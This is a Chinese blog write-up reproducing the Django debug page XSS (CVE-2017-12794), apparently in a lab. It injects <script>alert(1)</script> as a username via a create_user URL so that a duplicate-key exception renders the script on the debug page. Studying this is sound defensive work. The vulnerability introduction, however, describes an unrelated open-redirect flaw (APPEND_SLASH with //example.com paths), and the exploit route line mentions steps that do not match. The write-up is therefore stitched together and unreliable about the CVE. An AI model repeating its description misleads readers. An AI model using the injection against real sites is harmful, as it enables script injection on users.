Django_debug_page_XSS漏洞 CVE-2017-12794 漏洞复现_django debug page xss漏洞(cve-2017-12794) 复现-CSDN博客

本文链接：https://blog.csdn.net/weixin_43416469/article/details/113952439

Django debug page XSS漏洞(CVE-2017-12794)

by ADummy

0x00利用路线

Burpsuite抓包改包—>用户创建成功—>成功登录

0x01漏洞介绍

Django默认配置下，如果匹配上的URL路由中最后一位是/，而用户访问的时候没加/，Django默认会跳转到带/的请求中。（由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定）。在path开头为//example.com的情况下，Django没做处理，导致浏览器认为目的地址是绝对路径，最终造成任意URL跳转漏洞。

如果django.middleware.common.CommonMiddleware和APPEND_SLASH设置都启用，并且项目的URL模式可以接受以斜杠结尾的任何路径，则对该站点恶意制作的URL的请求可能导致重定向到另一个站点，从而启用网络钓鱼和其他攻击。

影响版本

Django < 1.11.5

0x02漏洞复现

用户注册页面，未检查用户名
注册一个用户名为<script>alert(1)</script>的用户
再次注册一个用户名为<script>alert(1)</script>的用户
触发duplicate key异常，导致XSS漏洞

访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户，成功

在这里插入图片描述

再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>，触发异常
在这里插入图片描述

可见，Postgres抛出的异常为

duplicate key value violates unique constraint "xss_user_username_key"
DETAIL:  Key (username)=(<script>alert(1)</script>) already exists.


这个异常被拼接进`The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception`，最后触发XSS。